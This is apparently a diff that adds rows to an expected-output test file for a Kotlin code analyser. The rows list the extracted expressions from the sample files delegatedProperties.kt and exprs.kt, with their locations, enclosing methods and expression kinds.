+| delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel(...) | delegatedProperties.kt:77:34:77:49 | set | MethodAccess |
+| delegatedProperties.kt:77:34:77:49 | this | delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel | ThisAccess |
+| delegatedProperties.kt:77:34:77:49 | this | delegatedProperties.kt:77:34:77:49 | invoke | ThisAccess |
+| delegatedProperties.kt:77:34:77:49 | this | delegatedProperties.kt:77:34:77:49 | invoke | ThisAccess |
+| delegatedProperties.kt:77:34:77:49 | this | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel | ThisAccess |
+| delegatedProperties.kt:77:34:77:49 | this.delegatedToTopLevel$delegate | delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel | VarAccess |
+| delegatedProperties.kt:77:34:77:49 | this.delegatedToTopLevel$delegate | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel | VarAccess |
+| delegatedProperties.kt:77:37:77:49 | ...::... | delegatedProperties.kt:65:1:85:1 | MyClass | PropertyRefExpr |
+| delegatedProperties.kt:77:37:77:49 | <set-?> | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel | VarAccess |
+| delegatedProperties.kt:77:37:77:49 | DelegatedPropertiesKt | delegatedProperties.kt:77:37:77:49 | get | TypeAccess |
+| delegatedProperties.kt:77:37:77:49 | DelegatedPropertiesKt | delegatedProperties.kt:77:37:77:49 | set | TypeAccess |
+| delegatedProperties.kt:77:37:77:49 | Integer | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:77:37:77:49 | Integer | delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel | TypeAccess |
+| delegatedProperties.kt:77:37:77:49 | Integer | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel | TypeAccess |
+| delegatedProperties.kt:77:37:77:49 | KMutableProperty0<Integer> | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:77:37:77:49 | PropertyReferenceDelegatesKt | delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel | TypeAccess |
+| delegatedProperties.kt:77:37:77:49 | PropertyReferenceDelegatesKt | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel | TypeAccess |
+| delegatedProperties.kt:77:37:77:49 | a0 | delegatedProperties.kt:77:37:77:49 | set | VarAccess |
+| delegatedProperties.kt:77:37:77:49 | get(...) | delegatedProperties.kt:77:37:77:49 | invoke | MethodAccess |
+| delegatedProperties.kt:77:37:77:49 | getTopLevelInt(...) | delegatedProperties.kt:77:37:77:49 | get | MethodAccess |
+| delegatedProperties.kt:77:37:77:49 | getValue(...) | delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel | MethodAccess |
+| delegatedProperties.kt:77:37:77:49 | setTopLevelInt(...) | delegatedProperties.kt:77:37:77:49 | set | MethodAccess |
+| delegatedProperties.kt:77:37:77:49 | setValue(...) | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel | MethodAccess |
+| delegatedProperties.kt:77:37:77:49 | this | delegatedProperties.kt:77:37:77:49 | invoke | ThisAccess |
+| delegatedProperties.kt:79:18:79:38 | ...::... | delegatedProperties.kt:79:18:79:38 | getMax | PropertyRefExpr |
+| delegatedProperties.kt:79:18:79:38 | ...=... | delegatedProperties.kt:65:1:85:1 | MyClass | KtInitializerAssignExpr |
+| delegatedProperties.kt:79:18:79:38 | Integer | delegatedProperties.kt:79:18:79:38 | getMax | TypeAccess |
+| delegatedProperties.kt:79:18:79:38 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:79:18:79:38 | KProperty0<Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:79:18:79:38 | KProperty1<MyClass,Integer> | delegatedProperties.kt:79:18:79:38 | getMax | TypeAccess |
+| delegatedProperties.kt:79:18:79:38 | MyClass | delegatedProperties.kt:79:18:79:38 | getMax | TypeAccess |
+| delegatedProperties.kt:79:18:79:38 | a0 | delegatedProperties.kt:79:18:79:38 | get | VarAccess |
+| delegatedProperties.kt:79:18:79:38 | a0 | delegatedProperties.kt:79:18:79:38 | invoke | VarAccess |
+| delegatedProperties.kt:79:18:79:38 | get(...) | delegatedProperties.kt:79:18:79:38 | invoke | MethodAccess |
+| delegatedProperties.kt:79:18:79:38 | getMax(...) | delegatedProperties.kt:79:18:79:38 | get | MethodAccess |
+| delegatedProperties.kt:79:18:79:38 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:79:18:79:38 | max$delegate | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:79:18:79:38 | this | delegatedProperties.kt:79:18:79:38 | getMax | ThisAccess |
+| delegatedProperties.kt:79:18:79:38 | this | delegatedProperties.kt:79:18:79:38 | invoke | ThisAccess |
+| delegatedProperties.kt:79:18:79:38 | this.max$delegate | delegatedProperties.kt:79:18:79:38 | getMax | VarAccess |
+| delegatedProperties.kt:79:21:79:38 | ...::... | delegatedProperties.kt:65:1:85:1 | MyClass | PropertyRefExpr |
+| delegatedProperties.kt:79:21:79:38 | Integer | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:79:21:79:38 | Integer | delegatedProperties.kt:79:18:79:38 | getMax | TypeAccess |
+| delegatedProperties.kt:79:21:79:38 | KProperty0<Integer> | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:79:21:79:38 | MAX_VALUE | delegatedProperties.kt:79:21:79:38 | get | VarAccess |
+| delegatedProperties.kt:79:21:79:38 | PropertyReferenceDelegatesKt | delegatedProperties.kt:79:18:79:38 | getMax | TypeAccess |
+| delegatedProperties.kt:79:21:79:38 | get(...) | delegatedProperties.kt:79:21:79:38 | invoke | MethodAccess |
+| delegatedProperties.kt:79:21:79:38 | getValue(...) | delegatedProperties.kt:79:18:79:38 | getMax | MethodAccess |
+| delegatedProperties.kt:79:21:79:38 | this | delegatedProperties.kt:79:21:79:38 | invoke | ThisAccess |
+| delegatedProperties.kt:81:5:84:5 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | ...::... | delegatedProperties.kt:82:37:82:54 | <get-delegatedToMember3> | PropertyRefExpr |
+| delegatedProperties.kt:82:37:82:54 | ...::... | delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3> | PropertyRefExpr |
+| delegatedProperties.kt:82:37:82:54 | <get-delegatedToMember3>(...) | delegatedProperties.kt:82:37:82:54 | get | MethodAccess |
+| delegatedProperties.kt:82:37:82:54 | <get-delegatedToMember3>(...) | delegatedProperties.kt:82:37:82:54 | get | MethodAccess |
+| delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3>(...) | delegatedProperties.kt:82:37:82:54 | set | MethodAccess |
+| delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3>(...) | delegatedProperties.kt:82:37:82:54 | set | MethodAccess |
+| delegatedProperties.kt:82:37:82:54 | Integer | delegatedProperties.kt:82:37:82:54 | <get-delegatedToMember3> | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | Integer | delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3> | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | KMutableProperty0<Integer> | delegatedProperties.kt:82:37:82:54 | <get-delegatedToMember3> | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | KMutableProperty0<Integer> | delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3> | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | Object | delegatedProperties.kt:82:37:82:54 | get | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | Object | delegatedProperties.kt:82:37:82:54 | get | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | Object | delegatedProperties.kt:82:37:82:54 | set | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | Object | delegatedProperties.kt:82:37:82:54 | set | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | a0 | delegatedProperties.kt:82:37:82:54 | set | VarAccess |
+| delegatedProperties.kt:82:37:82:54 | a0 | delegatedProperties.kt:82:37:82:54 | set | VarAccess |
+| delegatedProperties.kt:82:37:82:54 | delegatedToMember3$delegate | delegatedProperties.kt:81:5:84:5 | fn | LocalVariableDeclExpr |
+| delegatedProperties.kt:82:37:82:54 | delegatedToMember3$delegate | delegatedProperties.kt:82:37:82:54 | <get-delegatedToMember3> | VarAccess |
+| delegatedProperties.kt:82:37:82:54 | delegatedToMember3$delegate | delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3> | VarAccess |
+| delegatedProperties.kt:82:37:82:54 | get(...) | delegatedProperties.kt:82:37:82:54 | invoke | MethodAccess |
+| delegatedProperties.kt:82:37:82:54 | get(...) | delegatedProperties.kt:82:37:82:54 | invoke | MethodAccess |
+| delegatedProperties.kt:82:37:82:54 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:82:37:82:54 | new (...) | delegatedProperties.kt:82:37:82:54 | get | ClassInstanceExpr |
+| delegatedProperties.kt:82:37:82:54 | new (...) | delegatedProperties.kt:82:37:82:54 | get | ClassInstanceExpr |
+| delegatedProperties.kt:82:37:82:54 | new (...) | delegatedProperties.kt:82:37:82:54 | set | ClassInstanceExpr |
+| delegatedProperties.kt:82:37:82:54 | new (...) | delegatedProperties.kt:82:37:82:54 | set | ClassInstanceExpr |
+| delegatedProperties.kt:82:37:82:54 | this | delegatedProperties.kt:82:37:82:54 | invoke | ThisAccess |
+| delegatedProperties.kt:82:37:82:54 | this | delegatedProperties.kt:82:37:82:54 | invoke | ThisAccess |
+| delegatedProperties.kt:82:40:82:43 | this | delegatedProperties.kt:81:5:84:5 | fn | ThisAccess |
+| delegatedProperties.kt:82:40:82:54 | ...::... | delegatedProperties.kt:81:5:84:5 | fn | PropertyRefExpr |
+| delegatedProperties.kt:82:40:82:54 | ...=... | delegatedProperties.kt:82:40:82:54 |  | AssignExpr |
+| delegatedProperties.kt:82:40:82:54 | <dispatchReceiver> | delegatedProperties.kt:82:40:82:54 |  | VarAccess |
+| delegatedProperties.kt:82:40:82:54 | Integer | delegatedProperties.kt:81:5:84:5 | fn | TypeAccess |
+| delegatedProperties.kt:82:40:82:54 | Integer | delegatedProperties.kt:82:37:82:54 | <get-delegatedToMember3> | TypeAccess |
+| delegatedProperties.kt:82:40:82:54 | Integer | delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3> | TypeAccess |
+| delegatedProperties.kt:82:40:82:54 | KMutableProperty0<Integer> | delegatedProperties.kt:81:5:84:5 | fn | TypeAccess |
+| delegatedProperties.kt:82:40:82:54 | MyClass | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:82:40:82:54 | PropertyReferenceDelegatesKt | delegatedProperties.kt:82:37:82:54 | <get-delegatedToMember3> | TypeAccess |
+| delegatedProperties.kt:82:40:82:54 | PropertyReferenceDelegatesKt | delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3> | TypeAccess |
+| delegatedProperties.kt:82:40:82:54 | a0 | delegatedProperties.kt:82:40:82:54 | set | VarAccess |
+| delegatedProperties.kt:82:40:82:54 | get(...) | delegatedProperties.kt:82:40:82:54 | invoke | MethodAccess |
+| delegatedProperties.kt:82:40:82:54 | getMemberInt(...) | delegatedProperties.kt:82:40:82:54 | get | MethodAccess |
+| delegatedProperties.kt:82:40:82:54 | getValue(...) | delegatedProperties.kt:82:37:82:54 | <get-delegatedToMember3> | MethodAccess |
+| delegatedProperties.kt:82:40:82:54 | setMemberInt(...) | delegatedProperties.kt:82:40:82:54 | set | MethodAccess |
+| delegatedProperties.kt:82:40:82:54 | setValue(...) | delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3> | MethodAccess |
+| delegatedProperties.kt:82:40:82:54 | this | delegatedProperties.kt:82:40:82:54 |  | ThisAccess |
+| delegatedProperties.kt:82:40:82:54 | this | delegatedProperties.kt:82:40:82:54 | get | ThisAccess |
+| delegatedProperties.kt:82:40:82:54 | this | delegatedProperties.kt:82:40:82:54 | invoke | ThisAccess |
+| delegatedProperties.kt:82:40:82:54 | this | delegatedProperties.kt:82:40:82:54 | set | ThisAccess |
+| delegatedProperties.kt:82:40:82:54 | this.<dispatchReceiver> | delegatedProperties.kt:82:40:82:54 |  | VarAccess |
+| delegatedProperties.kt:82:40:82:54 | this.<dispatchReceiver> | delegatedProperties.kt:82:40:82:54 | get | VarAccess |
+| delegatedProperties.kt:82:40:82:54 | this.<dispatchReceiver> | delegatedProperties.kt:82:40:82:54 | set | VarAccess |
+| delegatedProperties.kt:82:40:82:54 | value | delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3> | VarAccess |
+| delegatedProperties.kt:83:9:83:12 | fn(...) | delegatedProperties.kt:81:5:84:5 | fn | MethodAccess |
+| delegatedProperties.kt:83:9:83:12 | this | delegatedProperties.kt:81:5:84:5 | fn | ThisAccess |
+| delegatedProperties.kt:87:1:87:46 | MyClass | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:87:1:87:46 | MyClass | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | ...::... | delegatedProperties.kt:87:31:87:46 | getExtDelegated | PropertyRefExpr |
+| delegatedProperties.kt:87:31:87:46 | ...::... | delegatedProperties.kt:87:31:87:46 | setExtDelegated | PropertyRefExpr |
+| delegatedProperties.kt:87:31:87:46 | ...=... | delegatedProperties.kt:0:0:0:0 | <clinit> | KtInitializerAssignExpr |
+| delegatedProperties.kt:87:31:87:46 | DelegatedPropertiesKt | delegatedProperties.kt:0:0:0:0 | <clinit> | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | DelegatedPropertiesKt | delegatedProperties.kt:87:31:87:46 | get | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | DelegatedPropertiesKt | delegatedProperties.kt:87:31:87:46 | get | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | DelegatedPropertiesKt | delegatedProperties.kt:87:31:87:46 | getExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | DelegatedPropertiesKt | delegatedProperties.kt:87:31:87:46 | set | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | DelegatedPropertiesKt | delegatedProperties.kt:87:31:87:46 | set | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | DelegatedPropertiesKt | delegatedProperties.kt:87:31:87:46 | setExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | DelegatedPropertiesKt.extDelegated$delegate | delegatedProperties.kt:0:0:0:0 | <clinit> | VarAccess |
+| delegatedProperties.kt:87:31:87:46 | DelegatedPropertiesKt.extDelegated$delegate | delegatedProperties.kt:87:31:87:46 | getExtDelegated | VarAccess |
+| delegatedProperties.kt:87:31:87:46 | DelegatedPropertiesKt.extDelegated$delegate | delegatedProperties.kt:87:31:87:46 | setExtDelegated | VarAccess |
+| delegatedProperties.kt:87:31:87:46 | Integer | delegatedProperties.kt:87:31:87:46 | getExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | Integer | delegatedProperties.kt:87:31:87:46 | setExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | KMutableProperty0<Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:87:31:87:46 | getExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:87:31:87:46 | setExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | MyClass | delegatedProperties.kt:87:31:87:46 | getExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | MyClass | delegatedProperties.kt:87:31:87:46 | setExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | a0 | delegatedProperties.kt:87:31:87:46 | get | VarAccess |
+| delegatedProperties.kt:87:31:87:46 | a0 | delegatedProperties.kt:87:31:87:46 | get | VarAccess |
+| delegatedProperties.kt:87:31:87:46 | a0 | delegatedProperties.kt:87:31:87:46 | invoke | VarAccess |
+| delegatedProperties.kt:87:31:87:46 | a0 | delegatedProperties.kt:87:31:87:46 | invoke | VarAccess |
+| delegatedProperties.kt:87:31:87:46 | a0 | delegatedProperties.kt:87:31:87:46 | set | VarAccess |
+| delegatedProperties.kt:87:31:87:46 | a0 | delegatedProperties.kt:87:31:87:46 | set | VarAccess |
+| delegatedProperties.kt:87:31:87:46 | a1 | delegatedProperties.kt:87:31:87:46 | set | VarAccess |
+| delegatedProperties.kt:87:31:87:46 | a1 | delegatedProperties.kt:87:31:87:46 | set | VarAccess |
+| delegatedProperties.kt:87:31:87:46 | get(...) | delegatedProperties.kt:87:31:87:46 | invoke | MethodAccess |
+| delegatedProperties.kt:87:31:87:46 | get(...) | delegatedProperties.kt:87:31:87:46 | invoke | MethodAccess |
+| delegatedProperties.kt:87:31:87:46 | getExtDelegated(...) | delegatedProperties.kt:87:31:87:46 | get | MethodAccess |
+| delegatedProperties.kt:87:31:87:46 | getExtDelegated(...) | delegatedProperties.kt:87:31:87:46 | get | MethodAccess |
+| delegatedProperties.kt:87:31:87:46 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:87:31:87:46 | setExtDelegated(...) | delegatedProperties.kt:87:31:87:46 | set | MethodAccess |
+| delegatedProperties.kt:87:31:87:46 | setExtDelegated(...) | delegatedProperties.kt:87:31:87:46 | set | MethodAccess |
+| delegatedProperties.kt:87:31:87:46 | this | delegatedProperties.kt:87:31:87:46 | invoke | ThisAccess |
+| delegatedProperties.kt:87:31:87:46 | this | delegatedProperties.kt:87:31:87:46 | invoke | ThisAccess |
+| delegatedProperties.kt:87:34:87:46 | ...::... | delegatedProperties.kt:0:0:0:0 | <clinit> | PropertyRefExpr |
+| delegatedProperties.kt:87:34:87:46 | <set-?> | delegatedProperties.kt:87:31:87:46 | setExtDelegated | VarAccess |
+| delegatedProperties.kt:87:34:87:46 | DelegatedPropertiesKt | delegatedProperties.kt:87:34:87:46 | get | TypeAccess |
+| delegatedProperties.kt:87:34:87:46 | DelegatedPropertiesKt | delegatedProperties.kt:87:34:87:46 | set | TypeAccess |
+| delegatedProperties.kt:87:34:87:46 | Integer | delegatedProperties.kt:0:0:0:0 | <clinit> | TypeAccess |
+| delegatedProperties.kt:87:34:87:46 | Integer | delegatedProperties.kt:87:31:87:46 | getExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:34:87:46 | Integer | delegatedProperties.kt:87:31:87:46 | setExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:34:87:46 | KMutableProperty0<Integer> | delegatedProperties.kt:0:0:0:0 | <clinit> | TypeAccess |
+| delegatedProperties.kt:87:34:87:46 | PropertyReferenceDelegatesKt | delegatedProperties.kt:87:31:87:46 | getExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:34:87:46 | PropertyReferenceDelegatesKt | delegatedProperties.kt:87:31:87:46 | setExtDelegated | TypeAccess |
+| delegatedProperties.kt:87:34:87:46 | a0 | delegatedProperties.kt:87:34:87:46 | set | VarAccess |
+| delegatedProperties.kt:87:34:87:46 | get(...) | delegatedProperties.kt:87:34:87:46 | invoke | MethodAccess |
+| delegatedProperties.kt:87:34:87:46 | getTopLevelInt(...) | delegatedProperties.kt:87:34:87:46 | get | MethodAccess |
+| delegatedProperties.kt:87:34:87:46 | getValue(...) | delegatedProperties.kt:87:31:87:46 | getExtDelegated | MethodAccess |
+| delegatedProperties.kt:87:34:87:46 | setTopLevelInt(...) | delegatedProperties.kt:87:34:87:46 | set | MethodAccess |
+| delegatedProperties.kt:87:34:87:46 | setValue(...) | delegatedProperties.kt:87:31:87:46 | setExtDelegated | MethodAccess |
+| delegatedProperties.kt:87:34:87:46 | this | delegatedProperties.kt:87:34:87:46 | invoke | ThisAccess |
+| exprs.kt:0:0:0:0 | Color | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:0:0:0:0 | Color | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:0:0:0:0 | Color[] | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:0:0:0:0 | Direction | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:0:0:0:0 | Direction | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:0:0:0:0 | Direction[] | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:0:0:0:0 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:0:0:0:0 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:4:1:136:1 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:4:20:4:25 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:4:28:4:33 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:5:20:5:28 | byte | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:5:31:5:39 | byte | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:6:20:6:28 | short | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:6:31:6:39 | short | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:7:20:7:27 | long | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:7:30:7:37 | long | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:8:20:8:29 | double | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:8:32:8:41 | double | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:9:20:9:28 | float | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:9:31:9:39 | float | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:11:5:11:14 | i1 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:11:14:11:14 | 1 | exprs.kt:4:1:136:1 | topLevelMethod | IntegerLiteral |
+| exprs.kt:12:5:12:18 | i2 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:12:14:12:14 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:12:14:12:18 | ... + ... | exprs.kt:4:1:136:1 | topLevelMethod | AddExpr |
+| exprs.kt:12:18:12:18 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:13:5:13:18 | i3 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:13:14:13:14 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:13:14:13:18 | ... - ... | exprs.kt:4:1:136:1 | topLevelMethod | SubExpr |
+| exprs.kt:13:18:13:18 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:14:5:14:18 | i4 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:14:14:14:14 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:14:14:14:18 | ... / ... | exprs.kt:4:1:136:1 | topLevelMethod | DivExpr |
+| exprs.kt:14:18:14:18 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:15:5:15:18 | i5 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:15:14:15:14 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:15:14:15:18 | ... % ... | exprs.kt:4:1:136:1 | topLevelMethod | RemExpr |
+| exprs.kt:15:18:15:18 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:16:5:16:20 | i6 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:16:14:16:14 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:16:14:16:20 | shl(...) | exprs.kt:4:1:136:1 | topLevelMethod | MethodAccess |
+| exprs.kt:16:20:16:20 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:17:5:17:20 | i7 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:17:14:17:14 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:17:14:17:20 | shr(...) | exprs.kt:4:1:136:1 | topLevelMethod | MethodAccess |
+| exprs.kt:17:20:17:20 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:18:5:18:21 | i8 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:18:14:18:14 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:18:14:18:21 | ushr(...) | exprs.kt:4:1:136:1 | topLevelMethod | MethodAccess |
+| exprs.kt:18:21:18:21 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:19:5:19:20 | i9 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:19:14:19:14 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:19:14:19:20 | and(...) | exprs.kt:4:1:136:1 | topLevelMethod | MethodAccess |
+| exprs.kt:19:20:19:20 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:20:5:20:20 | i10 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:20:15:20:15 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:20:15:20:20 | or(...) | exprs.kt:4:1:136:1 | topLevelMethod | MethodAccess |
+| exprs.kt:20:20:20:20 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:21:5:21:21 | i11 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:21:15:21:15 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:21:15:21:21 | xor(...) | exprs.kt:4:1:136:1 | topLevelMethod | MethodAccess |
+| exprs.kt:21:21:21:21 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:22:5:22:21 | i12 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:22:15:22:15 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:22:17:22:21 | inv(...) | exprs.kt:4:1:136:1 | topLevelMethod | MethodAccess |
+| exprs.kt:23:5:23:20 | i13 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:23:15:23:15 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:23:15:23:20 | ... (value equals) ... | exprs.kt:4:1:136:1 | topLevelMethod | ValueEQExpr |
+| exprs.kt:23:20:23:20 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:24:5:24:20 | i14 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:24:15:24:15 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:24:15:24:20 | ... (value not-equals) ... | exprs.kt:4:1:136:1 | topLevelMethod | ValueNEExpr |
+| exprs.kt:24:20:24:20 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:25:5:25:19 | i15 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:25:15:25:15 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:25:15:25:19 | ... < ... | exprs.kt:4:1:136:1 | topLevelMethod | LTExpr |
+| exprs.kt:25:19:25:19 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:26:5:26:20 | i16 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:26:15:26:15 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:26:15:26:20 | ... <= ... | exprs.kt:4:1:136:1 | topLevelMethod | LEExpr |
+| exprs.kt:26:20:26:20 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:27:5:27:19 | i17 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:27:15:27:15 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:27:15:27:19 | ... > ... | exprs.kt:4:1:136:1 | topLevelMethod | GTExpr |
+| exprs.kt:27:19:27:19 | y | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:28:5:28:20 | i18 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:28:15:28:15 | x | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
